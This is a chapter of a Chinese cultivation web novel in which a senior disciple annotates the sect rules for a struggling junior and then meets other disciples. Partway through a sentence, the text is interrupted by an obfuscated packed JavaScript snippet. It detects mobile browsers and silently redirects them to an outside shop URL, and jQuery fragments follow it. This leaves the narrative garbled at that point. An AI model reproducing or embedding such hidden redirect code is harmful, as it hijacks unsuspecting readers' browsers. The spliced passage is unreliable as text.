默认冷灰
24号文字
方正启体

3. 门规

作者:鹤虚本书字数:K更新时间:
    孟知匀在临窗的地方找了一方小桌子,把厚厚的几册门规堆到了桌子上,看向还在抹眼泪的薛臻虞:“说说吧,这次错了几题?”


    薛臻虞身高八尺,素来气宇轩昂,偏偏此时被磋磨得佝偻着身体,满脸泛着苦意,支支吾吾道:“有几题……有好几题都和师姐给我默出来的不一样……”


    钟粹山由于地处北凛州,且山势崎岖,气候较为寒冷,所以钟粹山弟子往往肤色白皙,偏偏修习九夏剑的这一脉不知为何肤色较深,加之脾性火爆,平日里总是以金刚怒目的形象出现,如今薛臻虞突然一副面红耳赤、要哭不哭的模样,把孟知匀骇得差点坐不稳。


    门派重视规训弟子,要求必须通过门规考核才能成为正式弟子,正式弟子在修为达标后方可进入百剑峰拔剑。


    而薛臻虞,虽然是槐序长老的亲生儿子,但是自他十岁开始考门规起,如今已经过去四年了,考了整整六次,竟一回也没通过,气得槐序长老痛揍了他无数次,导致现今薛臻虞看见“门规”两个字就两股战战,感觉他爹的剑鞘已经隐隐招呼了过来。


    “我不是跟你说了嘛,你记忆力不好,死记硬背不可取,每条门规背后必有其深意,要试着去理解它们背后的逻辑。”孟知匀清了清嗓子,翻开第一册门规,“比如这一条——不可在饭堂外生火造饭,你知道为什么吗?”


    薛臻虞木木地摇了摇脑袋。


    “因为曾经有两个弟子打了几只野兔,在夏荷峰生火烤兔肉,结果不小心引燃了旁边的枯木和落叶,导致火势连绵,差点把峰上灵池里的百年雪荷给烧没了,门规里这才加上这一条。”孟知匀手里握着根毛笔,简单把原因给他批注在了旁边。


    “谁啊?怎么这么冒失,居然是修习九夏剑的前辈吗?”薛臻虞被她引起了兴趣,忍不住问了一句。


    孟知匀意味深长地看着他:“远在天边近在眼前,正是——”


    “你爹。”


    “什么?”薛臻虞“噌”地一下站起来,差点把椅子给掀倒,眼中的求知欲从未如此旺盛,“师姐你可莫要说笑,这……真是我爹干出来的事儿?”


    “这有什么好诓你的,你大可以去打听一下,不过得小心别被你爹知道,不然你屁股又要开花了。”


    孟知匀手里捏着根细长的毛笔就忍不住转笔,好在她及时用灵力收敛了墨汁,这才没把两个人甩成大花脸。


    薛臻虞拉着椅子往她旁边凑了凑:“那还有哪条是跟我爹相关的,师姐你先给我讲讲。”


    “喏,还有第十四条、第二十八条、第五十四条……”


    孟知匀下笔“唰唰唰”就圈了十几条出来,看得薛臻虞十分心惊,唇角的弧度却是怎么也压不下去。


    他从小到大没少挨他爹的打,动辄就被冠上“竖子无状”“顽劣不堪”等罪名,估摸着最明白他爹雷雨剑威力的,不是天下间的妖魔鬼怪,而是他薛臻虞。


    尤其是那剑鞘的硬度,是他日复一日拿屁股丈量出来的!


    没想到啊没想到,他爹年少时居然比他还要不像话,他好歹只是不遵门规,他爹倒好,活活让门规添上了十几条!


    这么一想,他学习门规的热情简直空前高涨。


    嗐,这哪是什么门规啊,这分明是他家老薛的罪证集!下次再挨打,他少不得要在心里暗暗笑话他!


    还骂他顽劣不堪,他这个当老子的年轻时还不如他乖巧呢!


    “除了槐序长老,这几条是关于翠微长老的,那几条是关于岁寒长老的,哦,这一条是关于玉露长老的,还有几条是关于掌门自己的。”孟知匀言笑晏晏,出手却如阎王勾划生死簿,把钟粹山如今几个位高权重的话事人的老底通通揭了出来。


    薛臻虞目光如炬,求知若渴地看着面前厚厚的门规:“几位长老,竟也会犯这么多错误吗?”


    “人非圣贤,孰能无过。”孟知匀转了几下笔,“我师父当年第一次进戒律堂的时候,还让几位长老的脑门上通通长了朵妖艳的红花,气得上一任掌门拿着戒尺追着她跑了半个山头。”


    薛臻虞“噗嗤”一声笑了出来,一只手还“哐哐”拍起了桌子:“没想到翠微长老……竟……竟如此有趣!”


    孟知匀第一次听师叔祖说起这些往年趣事的时候也不怎么相信,于是她索性在师父面前施展了这个灵术,让几个师姐妹、师兄弟的发髻上通通长了片绿叶,她师父果真变了脸色,当即出手如风地把这几片叶子给薅了下来,罚她让见春峰上四十五棵桦树都开满春花。


    她后知后觉,师父倒不是因为她戳破陈年旧事罚她,是因为她让别人脑门上见绿罚她!


    孟知匀收回心绪,把密密麻麻批注好了的门规递给薛臻虞:“这下可记牢了?”


    “自然!要是灵微先生在课堂上也这么讲,我哪需要补考这么多次!”薛臻虞捶胸顿足,颇有和孟知匀相见恨晚的遗憾。


    “行了行了,”孟知匀伸了个懒腰,站起身,“你自己再用心记一记吧,我还有别的事情要忙,告辞了。”


    薛臻虞忙起身送她:“师姐慢走!等我这次考过了,我请你去山下钟灵郡吃好吃的!”


    孟知匀冲他摆摆手,走到门口才听到这小子补上的那句——


    “我请你吃烤兔肉啊师姐!”


    孟知匀忍俊不禁,出门时没注意门槛,差点一头栽进别人怀里,得亏被人攥住胳膊一把扶了起来。


    但是她的脑袋因为惯性,不可避免地撞到了迎面碰上的胸肌上。


    梆硬。


    她脑瓜有点嗡嗡的。


    “没事吧?”如山间寒泉般清透的嗓音,她似曾相识。


    孟知匀晃了晃脑袋,捂着脑门抬起头,正对上一双清凌凌带着点寒郁的眼睛。


    怪不得她突然觉得有点冷,原来是碰上霜雪剑了。


    “没事。”她赶紧往旁边退了半步,识趣地没再堵着门,“抱歉,刚刚没看路,不小心撞到师兄了。”


    薛昱眼下似乎心情欠佳,过度漂亮的脸上浮着一层寒气,闻言却看了看她捂着的脑门:“很疼?”


    孟知匀下意识摇了摇头,然后发现自己的动作不怎么有说服力,就把手放了下来,尴尬地咳了几声:“没事,我脑门天生就比较硬。”


    薛昱又意味不明地笑了一下,把那瓶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165229|196678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没用完的伤药塞给她:“赔你的。”


    话罢,不等她再说什么,这人就自顾自出示腰牌进了藏书阁。


    孟知匀微微眯了眯眼睛。


    薛昱居然有两颗尖尖的虎牙,有点可爱。


    当然,这不是重点。重点是——他去四层的禁书区干什么?


    她看了看头顶的大太阳,提气御风往饭堂赶去,心里却忍不住一直琢磨这件事。


    薛昱作为掌门的亲生儿子,下一任掌门的亲弟弟,钟粹山薛家的二少主,有禁书区的阅览权限倒没什么稀奇,关键是,据说藏书阁四层放着的都是从山下邪修那里缴获的邪门术法。


    正邪不两立,以三大宗门为首的名门正派走的是吸纳天地灵气修行的路子,而不入流的邪修走的则是杀人夺宝的邪路,他们中间十有八九的修为不是自己实打实修行得来的,是靠着歪门邪道从别的修士那里掠夺来的。


    但是灵气是修士修行之本,从旁人那里得来的灵气到底已被打上了别人的烙印,所以这些邪修走火入魔的概率极高。


    依孟知匀看,其间估计不乏有一些精神分裂的精神病患者。


    *


    今日的午饭主菜是人气极高的锅包肉,不到午时饭堂便排满了来打饭的弟子。


    孟知匀咽了口口水,到门可罗雀的窗口要了碗米饭配咸菜,看着系统上“-12文(合0.012两白银)”的扣款通知,她心如滴血地开始扒饭。


    “师姐。”


    话音未落,一碗锅包肉被放到了她面前。


    孟知匀把嘴里的米饭咽下,抬头就看到了一张青春阳光如男高的脸。


    虽说她拜入钟粹山不过半年,但是她算是翠微长老的关门弟子,天资又高,所以在门派内辈分比较高,年龄比她小的弟子,大多要叫她一声师姐。


    薛停在她对面坐下,并把锅包肉往她这边推了推:“我来得早,帮薛涛打了一碗,结果左右等不到他人,这碗就麻烦师姐帮我解决吧。”


    孟知匀伸手试探了一下,发现“扣款通知”简直呼之欲出,她立刻收回手,摇了摇头,咬牙切齿地拒绝:“不必了,我不爱吃肉。”


    薛停也不勉强,余光扫了一眼还在大排长队的薛涛,心想这次真是便宜他了。


    “师姐现在是在辟谷修行吗?”看着孟知匀面前的咸菜,薛停忍不住问道。


    哈哈哈,何谈辟谷啊,她只是穷呐!


    “嗯。”孟知匀高深莫测地点了点头,“书上说,体态轻盈则心境渐高,于修行之道可事半功倍。”


    薛停蹙眉:“但是不吃饱怎么能拿得动剑呢?何况掌门和各位长老师叔们都未曾提过要我们辟谷修行,师姐天资又如此高,大可不必走这样的苦路子。”


    孟知匀一肚子苦水说不出,只觉得碗里的米饭更味同嚼蜡了。


    啊,这锅包肉的味道怎么这么重,熏到她了!熏到她了!


    “多谢师弟挂怀。”她停了筷,只想快点逃离锅包肉的诱惑,拿着破剑就要起身离开,“我午后还要去养剑堂,先走了。”


    薛停看着她快步离开的背影,忍不住握紧了手中的筷子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)